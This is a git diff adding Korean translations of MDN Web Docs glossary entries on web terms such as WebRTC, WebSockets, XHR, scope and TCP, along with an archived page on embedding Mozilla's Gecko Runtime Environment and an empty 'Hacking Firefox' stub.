diff --git a/files/ko/glossary/webrtc/index.html b/files/ko/glossary/webrtc/index.html
new file mode 100644
index 0000000000..da4eab7c61
--- /dev/null
+++ b/files/ko/glossary/webrtc/index.html
@@ -0,0 +1,25 @@
+---
+title: WebRTC
+slug: Glossary/WebRTC
+translation_of: Glossary/WebRTC
+---
+<p><span class="seoSummary"><strong>WebRTC</strong> (<em>Web Real-Time Communication</em>) {{Glossary("API")}} 는 영상 채팅, 음성 통화, 그리고 P2P 파일 공유 웹 어플리케이션에서 사용할 수 있습니다.</span></p>
+
+<p>WebRTC 의 3가지 주요 부분:</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia"><code>getUserMedia</code></a></dt>
+ <dd>기기의 카메라와 마이크를 같이 혹은 개별로 접속권한을 부여받으며, RTC connection에 신호를 연결할 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a></dt>
+ <dd>비디오 채팅 또는 음성 통화를 구성하기위한 인터페이스입니다.</dd>
+ <dt><a href="/en-US/docs/Web/API/RTCDataChannel"><code>RTCDataChannel</code></a></dt>
+ <dd>브라우저간에 {{Glossary("P2P", "peer-to-peer")}} 데이터 경로 설정방법을 제공합니다.</dd>
+</dl>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "WebRTC")}} on Wikipedia</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">Guide to WebRTC on MDN</a></li>
+ <li><a href="http://caniuse.com/rtcpeerconnection">Browser support of WebRTC</a></li>
+</ul>
diff --git a/files/ko/glossary/websockets/index.html b/files/ko/glossary/websockets/index.html
new file mode 100644
index 0000000000..743190595a
--- /dev/null
+++ b/files/ko/glossary/websockets/index.html
@@ -0,0 +1,31 @@
+---
+title: WebSockets
+slug: Glossary/WebSockets
+translation_of: Glossary/WebSockets
+---
+<p><em>WebSocket </em>은 언제든지 데이터를 교환할 수 있도록 {{Glossary("Server", "서버")}}와 클라이언트 간의 지속적인 {{Glossary("TCP")}} 연결을 허용하는 {{Glossary("protocol", "프로토콜")}}이다.</p>
+
+<p>어떤 클라이언트나 서버 애플리케이션도 WebSocket을 사용할 수 있지만, 주로 웹 {{Glossary("Browser", "브라우저")}}와 웹 서버를 사용할 수 있다. WebSocket을 통해 서버는 사전 클라이언트 요청 없이 클라이언트에 데이터를 전달할 수 있으므로 동적 컨텐츠 업데이트가 가능하다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+
+
+<h3 id="일반적_지식" style="line-height: 24px;">일반적 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Websocket")}} </li>
+</ul>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket reference on MDN</a></li>
+</ul>
+
+<h3 id="이것에_대해_알아보기">이것에 대해 알아보기</h3>
+
+<ul>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_servers">Writing WebSocket servers</a></li>
+</ul>
diff --git a/files/ko/glossary/whatwg/index.html b/files/ko/glossary/whatwg/index.html
new file mode 100644
index 0000000000..02bcb17803
--- /dev/null
+++ b/files/ko/glossary/whatwg/index.html
@@ -0,0 +1,23 @@
+---
+title: WHATWG
+slug: Glossary/WHATWG
+tags:
+  - Community
+  - DOM
+  - Glossary
+  - HTML
+  - HTML5
+  - WHATWG
+  - Web
+translation_of: Glossary/WHATWG
+---
+<p><strong>WHATWG</strong>(Web Hypertext Application Technology Working Group)은 {{Glossary("DOM")}}, Fetch, {{Glossary("HTML")}} 등 웹 표준을 개발하고 유지하는 단체입니다. 2004년, Apple, Mozilla, Opera의 임직원이 설립했습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식" style="line-height: 24px;">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "WHATWG")}}</li>
+ <li><a href="https://whatwg.org/">WHATWG 웹사이트</a></li>
+</ul>
diff --git a/files/ko/glossary/world_wide_web/index.html b/files/ko/glossary/world_wide_web/index.html
new file mode 100644
index 0000000000..3a5b8c97f8
--- /dev/null
+++ b/files/ko/glossary/world_wide_web/index.html
@@ -0,0 +1,41 @@
+---
+title: World Wide Web
+slug: Glossary/World_Wide_Web
+tags:
+  - Infrastructure
+  - WWW
+  - World Wide Web
+translation_of: Glossary/World_Wide_Web
+---
+<p>흔히 <strong>WWW</strong>, <strong>W3</strong>, <strong>Web으로</strong> 불리는 <em>World Wide Web</em>은 {{Glossary("Internet")}}을 통해 접근 가능한 공용 웹페이지의 상호연결 시스템이다. 웹은 인터넷과 다르며, 인터넷을 기반으로 한 수많은 응용 프로그램 중 하나이다.</p>
+
+<p>팀 버너스리가 제안한 구조를 바탕으로 훗날 World Wide Web으로 알려질 것이 만들어졌다. 그는 1990년에 CERN 물리학 연구소에서 자신의 컴퓨터에 최초의 웹 {{Glossary("Server","server")}}, 웹 {{Glossary("Browser","browser")}}, 웹페이지를 만들었다. 곧바로 alt.hypertext 뉴스 그룹에 이 소식을 알렸고, 이것이 웹이 세상에 공식적으로 모습을 드러낸 첫 순간이었다.</p>
+
+<p>오늘날 우리가 "웹"이라고 알고 있는 시스템은 이러한 구성요소로 이루어져 있다:</p>
+
+<ul>
+ <li><strong>{{Glossary("HTTP")}}</strong> 프로토콜이 서버와 클라이언트 간의 데이터 전송을 관리한다.</li>
+ <li>웹 요소에 접근하기 위해 클라이언트는 <strong>{{Glossary("URL")}}</strong>(unifrom resource location)이라는 유일한 보편 식별자를 제공하거나, 또는 {{Glossary("URI")}}(uniform resource identifier)(공식적으로는 Universal Document Identifier (UDI)라고 부른다)를 제공해야 한다.</li>
+ <li><strong>{{Glossary("HTML")}}</strong> (hypertext markup language)은 웹 문서를 작성하는 데 가장 많이 쓰이는 형식이다.</li>
+</ul>
+
+<p>웹의 개념은 {{Glossary("Hyperlink","hyperlinks")}}로 링크되고 연결된 문서를 보면 잘 알 수 있다. 웹의 정체성은 연결된 문서들의 집합으로서 정의된다.</p>
+
+<p>웹이 발명되고 얼마 지나지 않아, 팀 버너스리는 웹의 발전과 표준화를 위해 {{Glossary("W3C")}} (World Wide Web Consortium)을 설립했다. 이 콘소시엄은 웹에 관심 있는 핵심 그룹으로 구성되어 있는데, 예를 들면 웹 브라우저 개발자, 정부 기관, 연구소, 대학들이 참가하고 있다. 이들은 웹에 대한 교육과 전파에도 힘쓰고 있다.<br>
+  </p>
+
+<h2 id="더_알아보기" style="line-height: 30px;">더 알아보기</h2>
+
+<h3 id="더_배우고_싶다면">더 배우고 싶다면</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Learn">Learn the Web</a></li>
+ <li><a href="https://learning.mozilla.org/web-literacy">Web literacy map</a> (an inventory of skills needed in Web development)</li>
+</ul>
+
+<h3 id="일반적인_지식" style="line-height: 24px;">일반적인 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "World Wide Web")}} on Wikipedia</li>
+ <li><a href="http://w3.org">The W3C website</a></li>
+</ul>
diff --git a/files/ko/glossary/wrapper/index.html b/files/ko/glossary/wrapper/index.html
new file mode 100644
index 0000000000..3c0786921b
--- /dev/null
+++ b/files/ko/glossary/wrapper/index.html
@@ -0,0 +1,27 @@
+---
+title: Wrapper
+slug: Glossary/Wrapper
+translation_of: Glossary/Wrapper
+---
+<p>자바스크립트와 같은 프로그래밍 언어에서 래퍼는 하나 이상의 다른 기능들을 호출하기 위한 기능이며, 때로는 순전히 편의상, 때로는 프로세스에서 약간 다른 작업을 하도록 적응시키는 기능이다.</p>
+
+<p>예를 들어 AWS용 SDK 라이브러리는 래퍼의 한 예이다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적_지식">일반적 지식</h3>
+
+<p>Wikipedia의 {{Interwiki("wikipedia", "Wrapper function")}} </p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+
+  <ol>
+   <li>{{Glossary("API")}}</li>
+   <li>{{Glossary("Class")}}</li>
+   <li>{{Glossary("Function")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/xhr_(xmlhttprequest)/index.html b/files/ko/glossary/xhr_(xmlhttprequest)/index.html
new file mode 100644
index 0000000000..8c69eafc92
--- /dev/null
+++ b/files/ko/glossary/xhr_(xmlhttprequest)/index.html
@@ -0,0 +1,26 @@
+---
+title: XHR (XMLHttpRequest)
+slug: Glossary/XHR_(XMLHttpRequest)
+tags:
+  - API
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/XHR_(XMLHttpRequest)
+---
+<p>{{domxref("XMLHttpRequest")}}(XHR)은 {{Glossary("AJAX")}} 요청을 생성하는 {{Glossary("JavaScript")}} {{Glossary("API")}}입니다. XHR의 메서드로 {{Glossary("browser", "브라우저")}}와 {{Glossary("server", "서버")}}간의 네트워크 요청을 전송할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{interwiki("wikipedia", "XMLHttpRequest")}}</li>
+ <li><a href="http://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/">Synchronous vs. Asynchronous Communications</a></li>
+</ul>
+
+<h3 id="기술_정보">기술 정보</h3>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest")}} 객체.</li>
+ <li><a href="/ko/docs/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest를 사용하는 방법에 관한 MDN 문서</a>.</li>
+</ul>
diff --git a/files/ko/glossary/동적_프로그래밍_언어/index.html b/files/ko/glossary/동적_프로그래밍_언어/index.html
new file mode 100644
index 0000000000..dc17a46f18
--- /dev/null
+++ b/files/ko/glossary/동적_프로그래밍_언어/index.html
@@ -0,0 +1,20 @@
+---
+title: 동적 프로그래밍 언어
+slug: Glossary/동적_프로그래밍_언어
+translation_of: Glossary/Dynamic_programming_language
+---
+<p>A <strong>dynamic programming language</strong> is a programming language in which operations otherwise done at compile-time can be done at run-time. For example, in JavaScript it is possible to change the type of a variable or add new properties or methods to an object while the program is running.</p>
+
+<p>This is opposed to so-called static programming languages, in which such changes are normally not possible.</p>
+
+<div class="note">
+<p>Note that while there is indeed a connection between this dynamic/static property of programming languages and <a href="/en-US/docs/Glossary/Dynamic_typing">dynamic</a>/<a href="/en-US/docs/Glossary/Static_typing">static-typing</a>, the two are far from synonymous.</p>
+</div>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Dynamic programming language")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/배열/index.html b/files/ko/glossary/배열/index.html
new file mode 100644
index 0000000000..b7f3f63957
--- /dev/null
+++ b/files/ko/glossary/배열/index.html
@@ -0,0 +1,30 @@
+---
+title: 배열
+slug: Glossary/배열
+tags:
+  - 배열
+translation_of: Glossary/array
+---
+<p>배열은 데이터의 순서가 있는 집합  (  언어어 따라 {{Glossary("primitive")}} 또는  {{Glossary("object")}}) 이다. 배열은 하나의 변수의 여러개의 값들을 저장하는데 사용된다.  이것은 단 하나의 값을 저장하는 변수와 비교된다. </p>
+
+<p>어떤 숫자 배열의 각 항목에 붙어 있는데 그것을 숫자 인덱스라고 부른다. 숫자 인덱스는 항목에 접근하게 해준다. 자바스크립에서 배열은 인덱스 0 (zero) 에서 시작하고 여러  {{Glossary("Method", "methods")}} 로 조작될 수 있다. </p>
+
+<p>자바에서 배열은 아래와 같이 보인다:</p>
+
+<pre>var myArray = [1, 2, 3, 4];
+var catNamesArray = ["Jacqueline", "Sophia", "Autumn"];
+//자바스크립트에서 배열은 위에서 보는 바와 같아ㅣ 여러 데이터 유형을 가질 수 있다. </pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Array data structure", "Array")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li>JavaScript {{jsxref("Array")}} on MDN</li>
+</ul>
diff --git a/files/ko/glossary/불린/index.html b/files/ko/glossary/불린/index.html
new file mode 100644
index 0000000000..9d63373163
--- /dev/null
+++ b/files/ko/glossary/불린/index.html
@@ -0,0 +1,54 @@
+---
+title: 불린
+slug: Glossary/불린
+tags:
+  - 데이터 타입
+  - 부울
+  - 불린
+  - 자료 유형
+  - 자바스크립트
+  - 프로그래밍 언어
+translation_of: Glossary/Boolean
+---
+<p>컴퓨터 과학에서, <strong>불린(boolean)</strong>은 논리적인 데이터 유형이다. 불린은 <code>참(true)</code> 혹은 <code>거짓(false)</code> 값만을 가질 수 있다. 자바스크립트에서 불린 조건은 어떤 코드 부문이 실행되어야 할 지(예를 들어 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if 절</a> 안에서) 또는 어떤 코드 부문을 반복해야 할지(예를 들어 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for 문</a> 안에서) 결정하는 데 쓰인다.</p>
+
+<p>아래는 불린이 쓰일 수 있는 예시를 보여주는 유사코드이다(실행 가능한 코드가 아니다).</p>
+
+<pre>***JavaScript if Statement***
+if(boolean conditional) {
+   //coding
+}
+
+if(true) {
+  console.log("boolean conditional resolved to true");
+} else {
+    console.log("boolean conditional resolved to false");
+  }
+
+
+
+***JavaScript for Loop***
+for(control variable; boolean conditional; counter) {
+  //coding
+}
+
+for(var i=0; i&lt;4; i++) {
+  console.log("I print only when the boolean conditional is true");
+}</pre>
+
+<p>불린(Boolean)이란 이름은 기호 논리학 분야의 선구자인 영국 수학자 {{interwiki("wikipedia", "조지 불")}}의 이름을 따 만들어졌다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>위키피디아, {{Interwiki("wikipedia", "Boolean data type", "불린")}}</li>
+</ul>
+
+<h3 id="참고문헌">참고문헌</h3>
+
+<ul>
+ <li>The JavaScript global object: {{jsxref("Boolean")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data types and data structures</a></li>
+</ul>
diff --git a/files/ko/glossary/브라우저-컨텍스트/index.html b/files/ko/glossary/브라우저-컨텍스트/index.html
new file mode 100644
index 0000000000..e4d5fab662
--- /dev/null
+++ b/files/ko/glossary/브라우저-컨텍스트/index.html
@@ -0,0 +1,24 @@
+---
+title: 브라우징 맥락
+slug: Glossary/브라우저-컨텍스트
+tags:
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/Browsing_context
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><strong>브라우징 맥락</strong>은 {{glossary("browser", "브라우저")}}가 {{domxref("Document")}}를 표시하는 환경을 말합니다. 오늘날에는 보통 탭이지만, 브라우저 창이나 페이지 내의 프레임도 가능합니다.</p>
+
+<p>각 브라우징 맥락은 특정 {{glossary("origin", "출처")}}, 활성화된 문서의 출처, 그리고 표시했던 모든 문서의 방문 기록을 가집니다.</p>
+
+<p>브라우징 맥락 간 통신은 엄격히 제한됩니다. 같은 출처를 가진 맥락끼리는 {{domxref("BroadcastChannel")}}을 열어 사용할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술_참조">기술 참조</h3>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/browsers.html#windows">Browsing context on WHATWG</a></li>
+ <li><a href="http://w3c.github.io/html/browsers.html#sec-browsing-contexts">Browsing context on W3C</a></li>
+</ul>
diff --git a/files/ko/glossary/스코프/index.html b/files/ko/glossary/스코프/index.html
new file mode 100644
index 0000000000..259cc6b9f4
--- /dev/null
+++ b/files/ko/glossary/스코프/index.html
@@ -0,0 +1,39 @@
+---
+title: 스코프
+slug: Glossary/스코프
+translation_of: Glossary/Scope
+---
+<p>현재 실행되는 컨텍스트를 말한다. 여기서 컨텍스트는  {{glossary("값","값")}}과 <strong>표현식</strong>이<strong> "표현"</strong>되거나 참조 될 수 있음을 의미한다. 만약 <strong>{{glossary("변수")}}</strong> 또는 다른 표현식이 "해당 스코프"내에 있지 않다면 사용할 수 없다. 스코프는 또한 계층적인 구조를 가지기 때문에 하위 스코프는 상위 스코프에 접근할 수 있지만 반대는 불가하다.</p>
+
+<p><strong>{{glossary("함수")}}</strong>는<strong> </strong>{{glossary("자바스크립트")}}에서 <strong>클로저 </strong>역할을 하기 때문에 스코프를 생성하므로 함수 내에 정의된 변수는 외부 함수나 다른 함수 내에서는 접근 할 수 없다. 예를 들어 다음과 같은 상황은 유효하지 않다.</p>
+
+<pre class="brush: js notranslate">function exampleFunction() {
+    var x = "declared inside function";
+    // x는 오직 exampleFunction 내부에서만 사용 가능.
+    console.log("Inside function");
+    console.log(x);
+}
+
+console.log(x);  // 에러 발생</pre>
+
+<p>그러나 다음과 같은 코드는 변수가 함수 외부의 전역에서 선언되었기 때문에 유효하다. </p>
+
+<pre class="brush: js notranslate">var x = "declared outside function";
+
+exampleFunction();
+
+function exampleFunction() {
+    console.log("Inside function");
+    console.log(x);
+}
+
+console.log("Outside function");
+console.log(x);</pre>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Scope (computer science)")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/식별자/index.html b/files/ko/glossary/식별자/index.html
new file mode 100644
index 0000000000..f306315b66
--- /dev/null
+++ b/files/ko/glossary/식별자/index.html
@@ -0,0 +1,21 @@
+---
+title: 식별자
+slug: Glossary/식별자
+tags:
+  - Beginner
+  - Glossary
+translation_of: Glossary/Identifier
+---
+<p><strong>식별자</strong>는 코드 내의 {{glossary("variable", "변수")}}, {{glossary("function", "함수")}}, 혹은 {{glossary("property", "속성")}}을 식별하는 문자열입니다.</p>
+
+<p>{{glossary("JavaScript")}}의 식별자는 대소문자를 구별하며 {{glossary("Unicode", "유니코드")}} 글자, <code>$</code>, <code>_</code>, 숫자(0-9)로 구성할 수 있지만, 숫자로 시작할 수는 없습니다.</p>
+
+<p>식별자는 코드의 일부이지만 문자열은 데이터이기 때문에, 식별자와 문자열은 다릅니다. JavaScript에서 식별자를 문자열로 변환하는 방법은 없지만, 어떤 경우 문자열을 분석해 식별자로 사용할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{interwiki("wikipedia", "식별자#컴퓨터_과학", "식별자")}}</li>
+</ul>
diff --git a/files/ko/glossary/전송_제어_프로토콜_(tcp)/index.html b/files/ko/glossary/전송_제어_프로토콜_(tcp)/index.html
new file mode 100644
index 0000000000..6644b8772c
--- /dev/null
+++ b/files/ko/glossary/전송_제어_프로토콜_(tcp)/index.html
@@ -0,0 +1,21 @@
+---
+title: 전송 제어 프로토콜
+slug: Glossary/전송_제어_프로토콜_(TCP)
+tags:
+  - 전송 제어 프로토콜
+translation_of: Glossary/Transmission_Control_Protocol_(TCP)
+---
+<p>TCP (Transmission Control Protocol)는 IP 네트워크의 두 컴퓨터 간의 연결 지향 통신을 위한 전송 계층 호스트 간 프로토콜입니다. TCP는 가상 포트를 사용하여 두 컴퓨터 간의 물리적 연결을 재사용 할 수 있는 가상 종단 간 연결을 만듭니다. TCP는 {{glossary ( 'HTTP')}} 및 {{glossary ( 'SMTP')}} (email)과 같은 상위 레벨 프로토콜 데이터를 캡슐화합니다.</p>
+
+<h2 id="TCP_핸드_셰이크"><strong>TCP 핸드 셰이크</strong></h2>
+
+<p><strong>TCP 3 방향 핸드 셰이크</strong>는 TCP-핸드셰이크라고 불립니다, 3개의 메시지 핸드 셰이크 및 / 또는 SYN-SYN-ACK라고도 하는 TCP 3 방향 핸드 셰이크는 TCP가 IP 기반 네트워크를 통해 TCP / IP 연결을 설정하는 데 사용하는 방법입니다. TCP 세션을 신뢰하기 위해 TCP에 의해 전송된 세 가지 메시지는 SYN, SYN-ACK,  <strong>SYN</strong>chronize를 위한 ACK는 <strong>SYN</strong>chronize-<strong>ACK</strong>nowledgement 와 ACKnowledge의 별칭입니다. 세 가지 메시지 메커니즘은 정보를 앞뒤로 전달하려는 두 컴퓨터 용으로 설계되었으며 HTTP 브라우저 요청과 같은 데이터를 전송하기 전에 연결 매개 변수를 신뢰할 수 있습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Transport_Layer_Security">Transport Layer Security (TLS) protocol</a></li>
+ <li>{{Glossary("HTTPS")}}</li>
+ <li><a href="/en-US/docs/Web/Performance/Populating_the_page:_how_browsers_work">How browsers work</a></li>
+ <li>{{Interwiki("wikipedia", "Transport Layer Security")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/캐시/index.html b/files/ko/glossary/캐시/index.html
new file mode 100644
index 0000000000..6d45b6772c
--- /dev/null
+++ b/files/ko/glossary/캐시/index.html
@@ -0,0 +1,14 @@
+---
+title: 캐시
+slug: Glossary/캐시
+translation_of: Glossary/Cache
+---
+<p>캐시 (웹 캐시 또는 HTTP 캐시)는 HTTP 응답들(responses)을 일시적으로 저장하는 곳입니다. 이를 통해 그 다음 HTTP 요청들(requests)에서 특정 조건이 만족될 때까지 캐시에 저장한 리소스를 사용할 수 있습니다. </p>
+
+<h2 id="Learn_More">Learn More</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Web cache")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/gre/index.html b/files/ko/gre/index.html
new file mode 100644
index 0000000000..51af0008eb
--- /dev/null
+++ b/files/ko/gre/index.html
@@ -0,0 +1,35 @@
+---
+title: GRE
+slug: GRE
+translation_of: Archive/Mozilla/GRE
+---
+<p>GRE (Gecko Runtime Environment)는 Mozilla 기술을 내장하기 위한 framework입니다. 이 내장된 framework은 application이 호환되는 Gecko runtime에서 수행될 수 있도록 하고, 실행 이전에 미리 Gecko runtime이 어디에 설치되어야 하는지를 알 필요가 없도록 해줍니다. 이 문서에는 Gecko runtime을 내장하기 위해 GRE를 어떻게 동적으로 연결해야 하는지에 대해 소개합니다. 어떻게 GRE들을 등록하는지를 이해하기 위해서는 <a href="/en-US/docs/" title="/en-US/docs/">GRE Registration</a>을 참조하시기 바랍니다.</p>
+<p><a href="en/XRE">XRE</a> <span style="font-size: 14px; line-height: inherit;">(XUL Runtime Environment) 프로젝트는 </span><a href="en/XULRunner" style="font-size: 14px; line-height: inherit;">XULRunner</a><span style="font-size: 14px; line-height: inherit;">로 대체되어 왔습니다.</span></p>
+<p> </p>
+<h3 id="Mozilla_Suite:_the_old_GRE" name="Mozilla_Suite:_the_old_GRE">Mozilla Suite: the old GRE</h3>
+<p>GRE에는 두 가지 다른 형식이 있습니다: "오래된" GRE는 Mozilla application의 한 부분이었고, Mozilla 1.4 부터 1.7.x 버젼에 포함되어 Windows 설치시에 포함되어 설치 되었습니다. 그러나, Linux를 위해 공식적으로 제공된 GRE는 없습니다. 그렇지만, Linux의 경우에는 Red Hat 같은 다양한 Linux 배포자 들이 마치 GRE인 것처럼 포장하여 Mozilla installation을 등록해 왔습니다. Mozilla 패키지에는 Mac에서 수행되는 GRE를 제공한 적은 없습니다. </p>
+<h3 id="XULRunner:_the_new_GRE" name="XULRunner:_the_new_GRE">XULRunner: the new GRE</h3>
+<p><a href="en/XULRunner">XULRunner</a>는 자체로 GRE를 내장시키는 기능 뿐만 아니라 Firefox 같은 전체 XUL application을 시동시키는 기능도 포함하고 있습니다. XULRunner는 모든 3개의 주요 platform (Windows, Mac과 Linux)에 포함될 수 있도록 지원했거나 지원할 계획입니다.</p>
+<h3 id="Finding_and_using_a_GRE_from_application_code" name="Finding_and_using_a_GRE_from_application_code">Application code로부터 GRE를 찾고 사용하는 방법</h3>
+<h4 id="Avoid_linking_directly_against_xpcom.dll" name="Avoid_linking_directly_against_xpcom.dll">xpcom.dll을 직접 link하여 사용하는 것으로 피하세요.</h4>
+<p>만약 application이 GRE를 사용하기 원한다면, 올바른 library들을 연결하는 작업을 주의깊게 해야 합니다. 만약 application에서 <code style="font-size: 13.63636302947998px; line-height: inherit;">xpcom.dll/libxpcom.so</code><span style="font-size: 14px; line-height: inherit;"> (</span><code style="font-size: 13.63636302947998px; line-height: inherit;">xpcom.lib</code><span style="font-size: 14px; line-height: inherit;"> import lib)</span><span style="font-size: 14px; line-height: inherit;">을 직접 link로 연결했을 경우, 이 경우 application의 실행 </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; font-size: 14px; line-height: inherit;">PATH</span><span style="font-size: 14px; line-height: inherit;">에 xpcom.dll이 없다면 application은 실행되지 않을 것입니다. 이런 경우에는 실행 시점에 application과 호환되는 GRE를 동적으로 찾는 작업을 어렵게 만들 수 있습니다.</span></p>
+<h4 id="Find_a_compatible_GRE" name="Find_a_compatible_GRE">호환되는 GRE를 찾는 방법</h4>
+<div class="geckoVersionNote">
+  <p>{{ gecko_callout_heading("6.0") }}</p>
+  <p>Support for locating a standalone glue was removed in Gecko 6.0 {{ geckoRelease("6.0") }}.</p>
+</div>
+<p>호환되는 GRE를 찾기 위해서는, <code>GRE_GetGREPathWithProperties()</code> ( {{ Source("xpcom/glue/standalone/nsXPCOMGlue.h") }}안에 선언된)함수를 반드시 사용해야 합니다. 이 방법은 embedder가 GRE의 어떤 version이 가장 적절한지를 명시할 수 있도록 해주고, GRE가 반드시 가져야만 하는 특별한 특징들 또한 명시할 수 있도록 해 줍니다. (현재 GRE에서 명시된 특별한 특징들은 없습니다.)</p>
+<h4 id="Statically_link_to_xpcomglue.lib_.28the_.22standalone_glue.22.29" name="Statically_link_to_xpcomglue.lib_.28the_.22standalone_glue.22.29">xpcomglue.lib에 정적인 link 걸기 ("독립적인 glue")</h4>
+<p>해결책은 <code>xpcomglue.lib에 정적으로 link를 거는 방법이고, 이 방법은 "독립적인 glue" (</code><a href="en/XPCOM_Glue" style="font-size: 14px; line-height: inherit;">XPCOM Glue</a> 참조)로 알려져 있습니다. 이 library는 내장되는 code와 XPCOM 사이에 간접적인 계층을 제공합니다. XPCOM glue를 사용하기 위해서는 이어지는 단계들을 면밀히 따라야 합니다.</p>
+<ul>
+  <li>정의된 <code>XPCOM_GLUE로 당신의 code를 compile하세요</code>.</li>
+  <li><code>xpcomglue.lib</code> ( <code>xpcomglue_s.lib</code>!이 아닙니다)로 link를 거세요. NSPR libs에 대한 link를 걸지 마세요.</li>
+  <li>위에 있는 것처럼 호환되는 GRE를 찾으세요.</li>
+  <li><code>XPCOMGlueStartup()</code> 함수를 사용하는 GRE에 동적으로 link를 거세요. 아래 명시되어 있는 <a href="#Dependent_libraries_and_environment_variables">환경변수들</a>을 참조하세요.</li>
+  <li>XPCOM을 초기화하고, 당신의 모듈을 작성하세요. 끝마쳤을때, XPCOM을 닫으세요.</li>
+  <li><code>XPCOMGlueShutdown()함수로 </code>XPCOM에 대한 link를 해제하세요.<br>
+     </li>
+</ul>
+<h4 id="Dependent_libraries_and_environment_variables" name="Dependent_libraries_and_environment_variables">독립적인 라이브러리들과 환경 변수들</h4>
+<p>XULRunner GRE는 embedder가 <span style="font-family: 'Courier New', 'Andale Mono', monospace; font-size: 14px; line-height: inherit;">XPCOMGlueStartup()</span><span style="font-size: 14px; line-height: inherit;">함수를 호출하기 전에 </span><code style="font-size: 13.63636302947998px; line-height: inherit;">PATH</code><span style="font-size: 14px; line-height: inherit;"> 나 </span><code style="font-size: 13.63636302947998px; line-height: inherit;">LD_LIBRARY_PATH 같은 환경 변수들을 설정할 필요가 없도록 설계되었습니다. 왜냐하면 XULRunner GRE는 독립적인 library들을 동적으로 적재할 수 있기 때문입니다.</code><span style="font-size: 14px; line-height: inherit;"> 운나쁘게도, 특별히 Linux에서는 특별한 작업을 더 해야 합니다. Embedder들은 LD_LIBRARY_PATH 환경 변수를 설정할 필요가 있고, 올바르게 GRE를 내장하기 위해서는 새로운 프로세스를 시작해야 합니다.</span></p>
+<p>{{ languages( { "ja": "ja/GRE", "zh-cn": "cn/GRE" } ) }}</p>
diff --git a/files/ko/hacking_firefox/index.html b/files/ko/hacking_firefox/index.html
new file mode 100644
index 0000000000..6933186a58
--- /dev/null
+++ b/files/ko/hacking_firefox/index.html
@@ -0,0 +1,30 @@
+---
+title: Hacking Firefox
+slug: Hacking_Firefox
+tags:
+  - Developing Mozilla
+---
